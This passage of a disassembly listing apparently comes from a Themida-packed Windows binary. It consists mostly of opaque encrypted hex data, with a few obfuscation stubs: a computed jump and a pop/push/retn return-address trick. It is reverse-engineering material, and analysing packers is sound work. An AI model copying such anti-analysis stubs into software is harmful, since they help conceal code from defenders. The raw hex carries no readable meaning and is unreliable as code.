0ED597A4Dh, 0DAFFF5C7h, 0E84E5EF2h dd 737588D1h, 0AFD56123h, 4EA802Ch, 0F7C2769Ah, 0C0AA4878h dd 32C6BC8Eh, 0C789D70h, 447D7FA6h, 1237F9D5h, 0DAAA9F72h dd 3807BBE0h, 672D83Eh, 19B2C4A0h, 7AE6A8D3h, 1E8A8454h dd 0A03892FAh, 0FF9368B5h, 100ADADEh, 2F7BEFA2h, 89401B14h dd 71Bh, 0D14E4415h, 8401FFCDh, 35B2B480h, 0EC695F31h dd 0A01D1BE8h, 3300F19Dh, 0E5B4B835h, 9F6A6EEBh, 4C1C209Dh dd 1FAFD552h, 5E7B63B9h, 0CD421579h, 980421F4h, 21EF5032h dd 8D5A8075h, 0DD9FFB8Fh, 0B37D4B71h, 1379E5E7h, 795E76C5h dd 0CA47AD6Fh, 4FE6688Ch, 0AAB15878h, 5E5A9444h, 78DEA079h dd 53787A46h, 3301D76Bh, 8C5C1035h, 0BE5B2492h, 0B893BE71h dd 6A201h, 0D5CB9C00h, 88865458h, 393B070Bh, 0F0E6B8BCh dd 0A4A26F73h, 87762427h, 3B3FBCBAh, 0F1F5726Ch, 0A3A72426h dd 365CD9D3h, 7A9840A6h, 0C99C795Eh, 421F454h, 0EF503298h dd 72347521h, 0B080A606h, 15A991B6h, 0F8756F3Fh, 0A20E3308h dd 5E76683Ch, 0A5CA8C79h, 5E766EB1h, 58115779h, 5F109EDBh dd 16D0F4C1h, 2C68C8EFh, 42400E40h, 0B5A1351Dh, 56h, 1E18E70Dh dd 427D11F9h, 69361FF4h, 0C492466Bh, 53B9A1C6h, 0F11B81EDh dd 0BF7F7393h, 63C9C999h, 7F7393B5h, 397FDBFh, 504A19A7h dd 2D52501Eh, 1373DF45h, 73936FADh, 0B347097Fh, 9322F6EAh dd 579D7F73h, 2B58219Eh, 75EBB31h, 8B000000h, 191DDh, 84E5E400h dd 0B01C390Ch, 5B86734Ah, 37C38575h, 0F5297511h, 0EBDEB12Ah dd 0FFE3CB31h, 46481378h, 6DD33921h, 56749B01h, 2CEEC089h dd 6F946707h, 99C39D03h, 0DDA5CEA4h, 0C5EAECB7h, 0FFAD6BDDh dd 5C7BD55h, 3D0D339Fh, 799FAF43h, 2E32AFA9h, 20F85E5Eh dd 54BD55FFh, 0DFBE2C92h, 237A7A1Bh, 5759148h, 9E6F0000h dd 59272BA8h, 0EDADE5Bh, 0B98B8F0Ch, 754246C3h, 0ABF7FA77h dd 128F8D5Ah, 0C8453F0Eh, 7AF7F9C4h, 2FACA676h, 0C5137909h dd 6F795E79h, 10E0279Ch, 0E7992F4Ch, 0C9FBD21Bh, 7499FFF9h dd 78E401D4h, 5B2CA712h, 6C3BC975h, 24D6066Ch, 0A062795Bh dd 5357D43Ah, 761B8983h, 76BE74C0h, 511E49Bh, 3A0B0000h dd 0F5C3C744h, 0AA767AF7h, 55272BA8h, 11DEE25Fh, 0C7939613h dd 0AE2B29F6h, 64E1DBAAh, 16939560h, 0CB484212h, 69AF15A5h dd 0B795E79h, 10E0C338h, 0E6B37D4Ah, 75DBC3E8h, 6636EA0Fh dd 0D280476Ch, 4CE0DEACh, 3D0D934Ch, 0AECBC643h, 8BB312Bh dd 3Dh, 6F6D3A60h, 21F4A0DBh, 0D3329804h, 0B5755BA5h, 6DACEF3h dd 0C0795BBDh, 0E2E62BF3h, 8A838AFEh, 794BFF24h, 0DEAA5E83h dd 6CCFB7DCh, 2697510Ah, 0CFAA27E0h, 0E7C15A18h, 36h, 421F414h dd 44403298h, 6224755Bh, 402D0F6h, 0C3904387h, 5828795Bh dd 0FECCF25Eh, 474B6C00h, 68567B79h, 0C37AA208h, 0B484795Bh dd 0AC4002BAh, 44AD3h, 80A6DA00h, 0A18FB4B2h, 73939D3Bh dd 6FD5977Fh, 1D4619DBh, 0BEC08BB1h, 99B41A2Ah, 0FB755BA7h dd 0D7A7CD39h, 3CD0B8DDh, 0EFEFBF73h, 5BBF5389h, 0F323E579h dd 480B1C59h, 9BC0262Fh, 1E9049C1h, 58BE2A4Bh, 73739A7Dh dd 5C60DD9Fh, 0CD6D928Ch, 0D6DD9FAh, 0F61B19E7h, 0AD647A0Eh dd 0C7790BD5h, 496E6C39h, 66602F61h, 0CE349400h, 6D0B130Eh dd 0DCFC622Ah, 586D0B13h, 0D39C3096h, 2E53511Fh, 8BB0AA7Ah dd 0C68039B1h, 0A92FE87Ch, 7262DFD9h, 0E40A769Fh, 82804D17h dd 7B0F755Dh, 35D2056Bh, 9C646723h, 3CAEA476h, 67D3339Ch dd 4B70D698h, 3401C797h, 7BA09A6Ah, 20082D93h, 25C995BAh dd 9E3234FFh, 0A073E59Eh, 51B71783h, 67D3338Bh, 4757EBADh dd 0FB143EE1h, 17E406Dh, 0E332DFDh, 0F6C38D5Ah, 22692F8h dd 0C612B580h, 4912A614h, 0F4C1E76Fh, 0A96262F6h, 0FAF4C3E9h dd 0C6C09066h, 5D865949h, 35FBCBF1h, 73076D63h, 0E2C6FD63h dd 9E606B93h, 0C52B8B79h, 5B83E617h, 0CBC19321h, 0C458BEA6h dd 8D581EEEh, 8C8E598Bh, 0A1350126h, 82A376E8h, 0C971B016h dd 511351ABh, 0D03696D4h, 546B1F08h, 4416A02Ch, 11A697A8h dd 714117ABh, 0CE9E5277h, 0F31957D4h, 1D052A24h, 0CFF4C789h dd 5612FD63h, 52145E43h, 55E7392Dh, 4F1F4E33h, 0AA7C3055h dd 48AA8FB4h, 1E64D58Fh, 0F191E865h, 4825EC71h, 52000000h dd 980421F4h, 5BBEAB32h, 53B91975h, 795B8685h, 42676935h dd 0AF16A25Ah, 456BBB21h, 0D69FD63h, 0EEB9DF4Bh, 73D9C7ECh dd 795BACA5h, 75A70DCFh, 4A13A7A9h, 5BAC8256h, 0FEB7FD79h dd 596DF881h, 0F8BEC1h, 0E0EB0000h, 0E46A4C10h, 0DC85647Ch dd 0D09D5176h, 0BFED8F08h, 0B51BB9BBh, 5583E949h, 0DF7F7328h dd 0CC0891Dh, 2F1D423Ch, 0A3733909h, 369C84A9h, 11363804h dd 0EFBF9529h, 7B3478F5h, 9F7F7334h, 5458D5CFh, 0F4EEBE84h dd 90F6F4C2h, 0FF8CB6Bh, 0A9AB7741h, 11369C84h, 0D3B0395Fh dd 0BD23BDCBh, 0E685EB57h, 0DC755B62h, 0C6EBE9B6h, 2CEE4ADEh dd 0D0CA9AC0h, 0E2FC3ABh, 0BE2A4B1Eh, 75D8C158h, 49193F73h dd 0AE422A4Fh, 0FE249052h, 0B2B63331h, 2E79E7E5h, 0CAB40FECh dd 1E138EFh, 0ADB0000h, 0C5939714h, 7A464AC7h, 25F7FB78h dd 0E1AEB22Fh, 376366E3h, 7EFBF9C6h, 34B1AB7Ah, 0E6636530h dd 9B1812E2h, 597FE575h, 0DB795E7Dh, 13E09308h, 345A9815h dd 0FFD56967h, 37092F2Fh, 9309CF41h, 0E1B17F73h, 76D2FE7h dd 0B922779Bh, 71519B5Ah, 134CFD41h, 0E0741EFAh, 21F456BFh dd 934098FEh, 32F47F73h, 63FA60CCh, 95755BBEh, 66BAAED3h dd 61795B87h, 94E5621Bh, 22C15943h, 0D3h, 1610E04Fh, 0A8703DF1h dd 94E7FAh, 0F51A8073h, 73A74401h, 0ACD2327Fh, 0D7BFE4DAh dd 73BEB765h, 6BFFC17Fh, 5FCBC595h, 4C716739h, 0ABAFD064h dd 0CEBCE1DBh, 46DADCA8h, 2894B184h, 5B88ABC2h, 9F05CD75h dd 795BC879h, 6B24D983h, 631B63C3h, 0CC8A20D7h, 75DB0105h dd 0CFA2920Fh, 7ADA3AA6h, 658A8454h, 0EACD0B7Dh, 0A567795Bh dd 15A9A373h, 75487BFFh, 0CB37F973h, 400ED8A5h, 0CF351D42h dd 83814E52h, 0F6B5015h, 0CA815CB4h, 0CFh, 8502F8C9h, 38B5B381h dd 0E9666834h, 0A01D13E5h, 54D1CF9Ch, 0E7B40551h, 99686CE9h dd 531E229Fh, 0D0D451h, 0D3638906h, 5E7CAF6Dh, 81F6C979h dd 981513E0h, 4DCAC494h, 9349AF0Fh, 0A57F7393h, 0E0144FE3h dd 82784A10h, 0E309F71Ch, 0AB811517h, 7464E1DBh, 0B81884A1h dd 0EE79B894h, 3DAF7035h, 7F73919Fh, 3343D799h, 21EDB1CDh dd 0EC11D375h, 0F16E6838h, 0FE231DEDh, 5C45090Ah, 5A138B70h dd 8D0A04D4h, 53B9B989h, 705F8485h, 6287EDAFh, 4D1ADCAEh dd 0F8C4E94Fh, 4E8EF454h, 0EA705F84h, 2E24F628h, 8D8D2109h dd 847E4ED4h, 39330307h, 33002614h, 14C8A135h, 0CF000000h dd 9F056587h, 7F739379h, 0AE4B6FFBh, 0A15229E1h, 0E06CA73Bh dd 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h, 0B1658A88h dd 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 5E08950h dd 4, 42Dh, 24048700h, 243C895Ch, 561368h, 243C8900h, 81E28952h dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC682414h, 89000030h dd 52B9240Ch, 0BF0F0E19h, 923FC1Ah, 6859CF31h, 3879h, 83242489h dd 5A042404h, 1AB85057h, 2904A62Dh, 58042444h, 8108428Fh dd 2D1A0842h, 34FF04A6h, 0C4835A24h, 243C8B04h, 81E38953h dd 4C3h, 4C38300h, 5C241C87h, 0FA8F48E9h, 0D4915AFFh ; --------------------------------------------------------------------------- loc_5A83DC: ; CODE XREF: Themida_:loc_5A7838j mov eax, 62DF00Bh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0F9h, 0F0h, 0DCh dd 733EBA48h, 8A1E3918h, 0B53E7A4Fh, 7C85E230h, 0BED24D5Bh dd 6CFAFA40h, 0F96A8D62h, 0F95A9A5Bh, 2525E245h, 0B4B22D36h dd 0F8CD6D70h, 1CD7B75Fh, 6B5DA37Bh, 1F105234h, 687B944Bh dd 87126775h, 81B0BE65h, 0F56DDE4Dh, 1751426Dh, 0D2B80725h dd 0F97C920Dh, 5BD87728h, 83281647h, 0F364DF37h, 56245204h dd 0CD37D836h, 7098592Bh, 0CC389C00h, 0E19C1167h, 0F2B87441h dd 0D28D8D3Dh, 6A062DF1h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0CFEBC355h, 38E895B7h dd 892047F1h, 2807158Dh, 85C7FC06h, 62821BDh, 6D88h, 1F359509h dd 85C70628h, 628113Dh, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5A84B7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A84B7 proc near ; CODE XREF: Themida_:005A84AFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5A84B7 endp ; --------------------------------------------------------------------------- db 39h dd 0E9F29051h, 13h, 2B1AD546h, 2CB8CBC4h, 44FE144Dh, 1D8333C2h dd 0FF9867DEh, 281115B5h, 59D2906h, 0FF062832h, 2814D995h dd 0FE806h, 0A6DF0000h, 0F3BC1Fh, 77B368BFh, 62AA03B1h dd 5BD89CEh, 5E062800h, 95FF006Ah, 6280465h, 79EBC08Bh dd 16A136ECh, 3EDCF751h, 90A6D696h, 4A05C6B1h, 0A31C0469h dd 0D7206F21h, 0A60F1A71h, 332AA38Fh, 852DCAEBh, 0B8F80690h dd 651B73D3h, 0E5B6F62h, 9B1E8C86h, 91FF1754h, 2A928047h dd 0A672B00Ch, 3EE6A774h, 0ED1C4E78h, 0FB2B2F81h, 0F1E60084h dd 449A3725h, 0E346642Eh, 52586EA8h, 7E5CA94Bh, 9BBAF30Eh dd 694CC070h, 3E4EEA66h, 675BF610h, 0BC5773CFh, 0E369634Bh dd 9E9F5h, 4EF70000h, 7BD1h, 0E9000000h, 53Ah, 39B6AC7Dh dd 0EC696735h, 9D1A1CE8h, 54D1C799h, 8858350h, 9B685905h dd 4D1C209Dh, 7D2D653h, 0B4848805h, 87173DBAh, 5E61FB21h dd 60AA7D79h, 496E6C3Ah, 0E092CD61h, 7E7C4A10h, 723F7159h dd 7CA20E74h, 5681E8ACh, 0EBA2878Dh, 3A28F185h, 0B8540216h dd 0BC50B378h, 9E1B19E6h, 0ABD0CA9Ah, 82D27F7h, 63888654h dd 0C0E5DFAFh, 1B403E0Ch, 34360133h, 1DBB210Fh, 177F7352h dd 0BE770B55h, 7B34AC04h, 0BF2B25F5h, 3504CA99h, 0FCB0D53Bh dd 270F342Ah, 80C2DC1h, 0BABE3B3Dh, 14C8EDEFh, 5A264B45h dd 0BC870DC6h, 0FB2022EEh, 1B41AD13h, 432B504Eh, 0BA8A8EAFh dd 74A79BC0h, 0A87F7352h, 0ABA9769Ch, 40E2347Bh, 6D011A87h dd 0CEF4B46Dh, 9F6C0002h, 0BB31AFDAh, 81DCh, 82A60900h dd 32CBAAB7h, 4218AC7Fh, 5F537872h, 7F7365BFh, 50757743h dd 0AACFD19Ch, 0CB2E24F6h, 0E0F6B069h, 476B2BE4h, 0F9F820E4h dd 0EEBB4F5Fh, 0BB31448Bh, 9B41A707h, 237F73B2h, 0E1A35B51h dd 6614Dh, 93B90000h, 0FB36CAC4h, 7A4812E0h, 3DF1167Ch dd 984C716Fh, 0F7ABD0C6h, 52062B29h, 7E628785h, 0FDB611Ah dd 0D74FA70Dh, 0CCCA981Eh, 0B77B4B4Fh, 60276795h, 64D0361Fh dd 0DE72703Eh, 13E054BDh, 0BC47284Bh, 89EFDB91h, 0E4E2B064h dd 244AF8BFh, 4B335856h, 3EFEB7B7h, 0BC504618h, 9E1B19E6h dd 6D6F3A60h, 0F6CC6048h, 53072C26h, 0B9198587h, 73148553h dd 59EDAF7Fh, 9E579D90h, 31B46821h, 824EBBh, 80A60000h dd 0DF91B6B0h, 10F1755Bh, 0F084EA44h, 1513E0B5h, 6E703CF0h dd 0C7C99549h, 5422EEA2h, 7C648987h, 9F17F116h, 5CD42CE6h dd 4C501DA3h, 739336E6h, 1A80427Fh, 99FF5F9Dh, 7F739343h dd 0C99F33F5h, 6C92FEFCh, 420B9FA1h, 0A1C6BC8Eh, 32AF68AEh dd 0BB312D57h, 4B45153Bh, 0C23EB21Bh, 2ABEACDEh, 3C3Eh dd 13E06B00h, 0A1E6734Bh, 8E5A9324h, 9BC0268Ch, 0F51A1CE7h dd 6FF5AE10h, 0BE27A4A2h, 0EF1412E0h, 7393D8FBh, 0CAF0FC7Fh dd 686633FDh, 61F5DD02h, 4E2BA861h, 68BB3130h, 1, 1214E095h dd 6F6939EDh, 0F11DD03h, 52E6B27Bh, 45471399h, 0E9E3B3D9h dd 2748DCC4h, 0D33F6437h, 93CF0D73h, 0A7697F73h, 43A30313h dd 73933FDDh, 0E377397Fh, 5B8C02CDh, 3D622475h, 42BFB989h dd 4F746E3Eh, 0D2D93D61h, 0A7054FEFh, 0F5D9FD13h, 4EB0795Bh dd 453F0F95h, 0E7E5B3D9h, 5E2E3253h, 2B513F64h, 602B5D5Fh dd 24F4CA5Eh, 0C998BE2Ah, 2EC2AACFh, 47009E65h, 7AF7F1C1h dd 5994FA7Fh, 14BBCC1h, 0F0140000h, 460EFC60h, 4F8A1E42h dd 980421F4h, 930AD238h, 0A02E7F73h, 0D96DD3D5h, 5EC063C9h dd 7032755Bh, 0CDC7974Bh, 827C4C50h, 14B6F5Dh, 0DDA9138Fh dd 4B1BF185h, 0C7652C51h, 0BEB8880Eh, 645A2C52h, 0C5B4AFD0h dd 0F1C159E6h, 75h, 21FF41Eh, 40907296h, 458147A2h, 0BA79AE15h dd 39CD04EFh, 0EE35C329h, 7D3FFF73h, 541EEB11h, 0FB208688h dd 9B41A713h, 9DFF73EEh, 8A7E47DBh, 0FF73EE52h, 8D79D6Ch dd 9B01E90Eh, 0F8F2C276h, 0D38CEED3h, 9A53B719h, 0B60BB6DAh dd 1FD6279Fh, 0CFF4C98Bh, 0D8DF0363h, 0FB58644Ah, 0EE0E24B8h dd 8A7F7312h, 0E6385CC8h, 0A6531836h, 7980A135h, 89h, 421F480h dd 0B4EF3298h, 0CF91755Bh, 2C26F6AAh, 0E1DBABAFh, 5DAACEBCh dd 59107559h, 8B485EF2h, 0FE795BA3h, 0FD23E39Ch, 0C59B2F31h dd 8E7EFBF5h, 0C82E9ABBh, 7309D3A1h, 45A511D3h, 25B739DFh dd 23AF3B73h, 92EBB966h, 0CD569CFh, 8058BE1Eh, 0B473255Ch dd 0B8885EF2h, 39CD99BEh, 1A3B0E80h, 0BDBB88AEh, 0C1CB098h dd 772EC7A6h, 0C3E9B179h, 0ECD4F9F3h, 0F752A27Ah, 0A80ED66Dh dd 6DF75270h, 0AADC4204h, 0FA77DDDFh, 0AE80A691h, 11DF93B8h dd 0A006EE13h, 4E774A0Ch, 0E1ED7CE2h, 0C5877521h, 221CECA0h dd 0D7D1A1A5h, 28DBBEB2h, 9163FB5Dh, 0F6C2769Bh, 66052C2Ah dd 0AA106414h, 6720BE85h, 24DD55ADh, 57D4CE9Eh, 1D898353h dd 4F5F2BF7h, 9476FDEAh, 753666CCh, 9D878527h, 7A2EF78Bh dd 0C18DB2A8h, 1EEE742Dh, 4569A724h, 62B17517h, 0C1BF8C28h dd 21F1C75Bh, 298F8D5Bh, 34D04h, 87540000h, 190FE03Ah dd 767040F4h, 0D0D29D51h, 2E28F7ABh, 8A885509h, 0E6E4B165h dd 453B0DC1h, 9EA06C20h, 0F9F7C579h, 8956FFD4h, 4BA52E6h dd 1000000h, 0EE835AD6h, 24348704h, 0E289525Ch, 4C281h dd 0EA830000h, 24148704h, 240C895Ch, 59C668h, 24048900h dd 2DF26368h, 240C8B06h, 4C481h, 8B540000h, 0C4832404h dd 0BE565104h, 62A758C1h, 4247429h, 8408F5Eh, 0C1084081h dd 0FF62A758h, 83582434h, 0C8B04C4h, 0E7895724h, 4C781h dd 0C7810000h, 4, 5C243C87h, 0FA8844E9h, 668698FFh, 1DB85E39h dd 3062DF7h, 3AE0FFC5h, 87093C7Ah, 88427D20h, 1745B6E6h dd 0E80528C6h, 0Dh, 3BFC8E73h, 0EC230749h, 17AAA640h, 13E9C5h dd 0A3710000h, 12F757E4h, 98CC4F18h, 0E492422Bh, 0BD38D464h dd 9E95FF3h, 50000000h, 0EAB91BE7h, 0C5010517h, 64B6C781h dd 0CE90000h, 0DC000000h, 0EE6D5AEEh, 0B63847B9h, 0BB7E6914h dd 1900h, 4F450BAh, 600F8B3Dh, 23C8DB81h, 8D0F4909h, 3 dd 61C7BF0Fh, 0FBE1E981h, 81665DC9h, 811E55C2h, 0E1261AC1h dd 38E0F40h, 0F000000h, 0E981C1BFh, 42C9D89Fh, 14E9h, 97E1DE00h dd 6CF91A13h, 6897104h, 8964C7D7h, 6D66F2D3h, 80535142h dd 8F5EBFF2h, 0EF83F507h, 7ED28104h, 4B27C7B5h, 0FF9B850Fh dd 17E9FFFFh, 0C6000000h, 6765ADh, 24200h, 3 dup(0) dd 0EFE90000h, 6800000Bh, 62DFA46h, 0FB4C41E9h, 0FB3968FFh dd 37E9062Dh, 68FFFB4Ch, 62DFCC4h, 0FB4C2DE9h, 0FD8568FFh dd 23E9062Dh, 68FFFB4Ch, 62DFE18h, 0FB4C19E9h, 0FFDC68FFh dd 0FE9062Dh, 68FFFB4Ch, 62E0066h, 0FB4C05E9h, 1A168FFh dd 0FBE9062Eh, 68FFFB4Bh, 62E02C2h, 0FB4BF1E9h, 0B0027FFFh dd 0CC1295CCh, 0E333B1E8h, 0FE46C8FFh, 1664E31Ah, 53307D32h dd 6BA286D4h, 88BFA3E7h, 0A2D9BD07h, 0FAF2D622h, 1D105BACh dd 95687CFBh, 388806E1h, 0EDC8835Ah, 1F8D2569h, 0F34F7959h dd 1CFAE130h, 750D59D9h, 652F49FFh, 3F93C91Dh, 529E1E61h dd 1B63E5C0h, 0FB371583h, 0FB8D6631h, 0D31D9E79h, 0EA3BCD3Bh dd 7AD6DC83h, 0FCB593F7h, 7CFEDDBCh, 83C860C4h, 7CFEDF6Ch dd 0E37BC546h, 0B34B9114h, 485AD62h, 0C8285029h, 0FBCE496Ch dd 32E1h, 11DC8200h, 0D324A638h, 7AD6E598h, 0B49E7CE0h dd 0FEF1C963h, 0B34BAF7Ch, 0FEF07B6Eh, 4068417Ch, 0CE6A84E0h dd 0A32601FBh, 0A7F1725Dh, 0CFD7C9h, 6F780000h, 234A9BEFh dd 577AD6E5h, 0FCD769F3h, 28962E7Eh, 0D870BE3Dh, 269C8C6Ah dd 0A5DC3170h, 1BF9E98Fh, 790B59D8h, 0B1B51C3h, 0E0BE3C4Ch dd 55A121F0h, 226EEEBDh, 7693913Eh, 7877AD6h, 1EF9D7BBh dd 2876F59Ah, 0E535B39Eh, 0F844C407h, 0F933FE60h, 246CA7Bh dd 196AE078h, 7AD67ED2h, 0AE38C226h, 7C35CB1Ch, 0E74B7CFEh dd 0C94A2503h, 9B79E77Fh, 8F21FAC5h, 0D4DE753Eh, 0FB8DF17Ah dd 6F53A120h, 0C76BB938h, 8772FE4h, 9478D3A3h, 29000009h dd 3F765AACh, 5B9276BCh, 72A98DDDh, 8DC4A8F0h, 27DCC00Eh dd 2C7AF986h, 498D1148h, 63AD2E65h, 7CC8487Fh, 152A098h dd 7CFB1FEAh, 6F9A3B0Eh, 0E0BEA2F0h, 5F3D8105h, 6C509C1Ch dd 3811DCA1h, 0F1D755A6h, 3DA17CFEh, 0F00960A5h, 5A337CFEh dd 51D4AF32h, 0ACFD730Bh, 7CFEF041h, 39CB55B9h, 0FEF085E8h dd 0B391F57Ch, 0CE6A9CF8h, 0B911FBh, 6FB20000h, 3C0BA3EFh dd 61D76FBDh, 9D6BAFABh, 11EFE239h, 0D668DC58h, 82CE4E7Ah dd 65E5C09Eh, 54EC38B8h, 3B7E5CE6h, 75D76FBBh, 0EE3FD1AAh dd 7CFE696Ah, 5C260A6Eh, 4B26B891h, 78E67ECCh, 532EB09Ah dd 48F28AD0h, 0C17BA7C3h, 0CFAD37A4h, 0D4809E16h, 0E476DA7Ah dd 0D4008A09h, 2F150883h, 588F73FDh, 56AA2AD9h, 8571E605h dd 24AE1276h, 0D46CBA39h, 7D38DC66h, 1E087781h, 8A1F34Eh dd 0B9360000h, 0C94C8367h, 0EA689F83h, 0FD7FB69Ah, 1B9AD1B5h dd 7934E9CDh, 53378504h, 7054981Ch, 8A6EB839h, 0A387D353h dd 0E10C5DABh, 197CFB1Eh, 0F06FA546h, 787BEA2h, 6F0CD7BBh dd 3611A3EFh, 68D66EB2h, 4BCB9A8Ah, 86511BFFh, 5ACA1BADh dd 0DE7CFEF3h, 0F2CA2172h, 0CA2E7CFEh, 0B032A840h, 0FEF20C5Fh dd 62CC6C7Ch, 9652DA18h, 9BDEBC46h, 0B4EBCF1Bh, 0BB078734h dd 3C549931h, 74FBB8BDh, 96D526A8h, 0E2F7B87Bh, 0A5CDA07Eh dd 13F743C3h, 78105CDCh, 0B87B3D33h, 0C4EC45F7h, 4DC64E4h dd 0FD893834h, 5BDD6FF9h, 0B8FAE30Ah, 0D5B317F7h, 0E839BB99h dd 0F7B8FA85h, 70B391F5h, 78C243F0h, 0FFDA5CEEh, 96D5367Ch dd 0E2F7B8FAh, 3AB0A07Eh, 0B391E15Fh, 47050AFAh, 0E008BF08h dd 32609B51h, 7C660C5Eh, 8FDB5B9Eh, 0A0F474ABh, 0B8781C4Fh dd 6EF85CF7h, 0D0A974D6h, 99E1633Eh, 0CBB59301h, 9058967Ah dd 58DAB5F1h, 59A52510h, 807553C1h, 0FDDA49E0h, 0F47ED788h dd 0A27B4610h, 7DBDBF10h, 44C6EF68h, 6804F8F3h, 0E36000E3h dd 41295B4Bh, 2F7D55Fh, 0AFC1069Eh, 93E368C5h, 590F92BAh dd 25348426h, 0BC7755C2h, 68384860h, 40ED5h, 0F2F97600h dd 427AD6E5h, 7AD6F52Fh, 0D6F6B08Fh, 0F50DC37Ah, 16C9E76Ch dd 3F9D793Fh, 0D356A54Fh, 19353CF5h, 0A16C7AD6h, 1FE536C8h dd 597CFE16h, 0F96E51F5h, 7141024Ch, 71616h, 0DC2EAB00h dd 0F83EC1F8h, 0F5FDD14h, 2A72F42Bh, 42900F46h, 7F04A95Eh dd 97CEB200h, 0B4EBCF13h, 0CE05E933h, 261E024Eh, 196487D8h dd 0C1947CFBh, 0A3EF6F20h, 0FDDEA90Bh, 0D6E541ACh, 0CB55B97Ah dd 1DFFE839h, 177B7CFBh, 64418A33h, 0DD2EC099h, 7AD311AFh dd 2E78F9D4h, 554A2896h, 0E35598E9h, 41A57680h, 0C6EC0DB7h dd 0D9D9E1DFh, 52A3350Eh, 0C749AF2Eh, 0D436CE32h, 0C39E3009h dd 301AF842h, 654D3AEh, 6922006Eh, 0BD2192BDh, 257BFABFh dd 0D16299D4h, 0F37DE1B2h, 0A5BED5Bh, 0B2D162E3h, 9729B317h dd 0CF03CBCh, 2AA855D5h, 0F4F748DAh, 4B2D162h, 577216A0h dd 6CC42B74h, 655419Ch, 6DEA0000h, 7D00371Bh, 9E1C5337h dd 0B1336A4Eh, 0CF4E8569h, 0C5E89D81h, 7EB39B8h, 24084CD0h dd 3E226CEDh, 573B8707h, 0ADC0115Fh, 0CD7CFB18h, 11DC59FAh dd 850F53D7h, 0F3B2A2F3h, 52B67CFEh, 71C244BAh, 7CFEF27Ah dd 0F93C1A7Eh, 44952D79h, 23EE678Fh, 0FD67B84Ah, 7B7AD6E4h dd 64EE32B6h, 0CB9CD380h, 0CD207686h, 4C7686CBh, 0C516A881h dd 70AB33DCh, 175CF458h, 68A8C2D7h, 89CD512Ch, 3D00F2ABh dd 36B69757h, 148D46EAh, 7A4A0EA2h, 5C21Fh, 88DA5700h dd 0A4EA6DA4h, 0BB0B89C0h, 0D61EA0D7h, 0EE3CBBF2h, 2B58550Ah dd 437A5EACh, 60977BBFh, 7AB195DFh, 0D2CAAEFAh, 1B383384h dd 6D407CFBh, 3811DCCCh, 98D324A6h, 0E07AD6E5h, 63B49E7Ch dd 7CFB1D72h, 2BFA92F6h, 9D7B5FABh, 0A1F23EC2h, 7CFB1D4Ah dd 0E2C04AAEh, 0CE663F0Ch, 4F337FFFh, 0B44C9818h, 538E883Eh dd 9BFEE33Eh, 0AEFA7ABDh, 163E9716h, 0D466B232h, 0B8EA0152h dd 490E7CFBh, 78E67EC8h, 25D410EEh, 0FBC922C9h, 1913Eh dd 11DCDF00h, 0F355A638h, 857CFEC5h, 2F448921h, 557CFEC4h dd 9661D4FCh, 76DA2BBDh, 0A7AD6E4h, 0FB3FC39Eh, 5994F563h dd 787686A7h, 2D2320ABh, 0F9BE5BDCh, 1DA73175h, 88D95B39h dd 7686E465h, 10533195h, 0DDAC4490h, 632D115Dh, 522DBF98h dd 0BFA987D1h, 0AEE5326Eh, 3AD23670h, 0AEE7F2F5h, 0C7EFC868h dd 36DB5F3Ah, 0F6E16BB5h, 26942C74h, 82318D48h, 56A6EF7Eh dd 47000000h, 0A63811DCh, 0FEF1D755h, 7CF6AC7Ch, 20A1700Ah dd 9BE56651h, 0B5CC8BDh, 7CFEA8E0h, 0FAFDDEFh, 0FF9CE76Eh dd 0E82CB09Bh, 0C058E250h, 0A4EE6F4Ah, 3F9D03DEh, 99777701h dd 0FE3189E0h, 0B2DAB37Ch, 0CDAC025Eh, 0B277FBh, 83050000h dd 0FE2D3B32h, 0FDDB3F7Ch, 0A3EF6F26h, 6FBD3C0Bh, 8DAB61D7h dd 0D9FEBF95h, 0B8BCEACh, 0D85827BFh, 39FBA88Ch, 0F17AD651h dd 77412571h, 0F041D3ACh, 7CFCF232h, 9BE56641h, 350207D5h dd 0D7B50FC3h, 11EC7EE2h, 0D7B24492h, 0EF2B0959h, 8E339B8h dd 93DA3B89h, 0E77CFD17h, 0C4F4BD83h, 0A0076866h, 0D26B7216h dd 0B080024Fh, 3FE55h, 0C4169300h, 0E026A9E0h, 0F747C5FCh dd 125ADC13h, 2A78F72Eh, 671C9146h, 7FB69AE8h, 9CD3B7FBh dd 0B6EDD11Bh, 0E06EA36h, 1A7C6FC0h, 0A97C7CFBh, 0A2F06F08h dd 0BB0787BEh, 81CF4E29h, 0AE8967A3h, 2E05E32Dh, 11A3EF6Fh dd 0E52F3E8Fh, 0E74B7AD6h, 0CA4A1909h, 0E1BC9A7Eh, 0D7B1363h dd 0F6F9582Fh, 467AD665h, 7AD66523h, 40D2AB76h, 0FB9D86EFh dd 861E827Ch, 0EE805924h, 0D0924B9Dh, 0A549AD7Ah, 87A7442h dd 7492EDBDh, 9000003h, 1F563A8Ch, 3B72569Ch, 52896DBDh dd 6DA488D0h, 7BCA0EEh, 0C5AD9A6h, 296DF128h, 438D0E45h dd 5CA8285Fh, 0E1328078h dd 7CF8E58Ah, 6F7A1BEEh, 950BA3EFh, 0FED3BBAh, 1C004CCCh dd 1CAE8752h, 0FEE4EDCBh, 972F937Ch, 0FEE71F52h, 244C257Ch dd 0CE8170CCh, 50E5FBh, 0DC860000h, 0CBA63811h, 3620FE4Ch dd 0FEF147E5h, 35CD317Ch, 88873DBFh, 0E6813E45h, 0A15994F5h dd 5BAC7CFEh, 7CFEA110h, 0FB670468h, 0FEA143AAh, 0C953B77Ch dd 0A13F32EBh, 2C057CFEh, 3B50AC04h, 0D4C5FBCEh, 53000000h dd 0DD6D80D1h, 298D7CFEh, 0EF6F744Bh, 0BD3C0BA3h, 0DF61D76Fh dd 0E5E10C5Dh, 0B5197AD6h, 0D6E51954h, 1B9C617Ah, 266947D1h dd 4CC25AA6h, 0FA7EF71h, 80C3A1h, 123D0B4h, 727AD6E1h dd 35CD1597h, 1458DCC7h, 0ED300E7Ch, 5F3D216Dh, 0CDB80484h dd 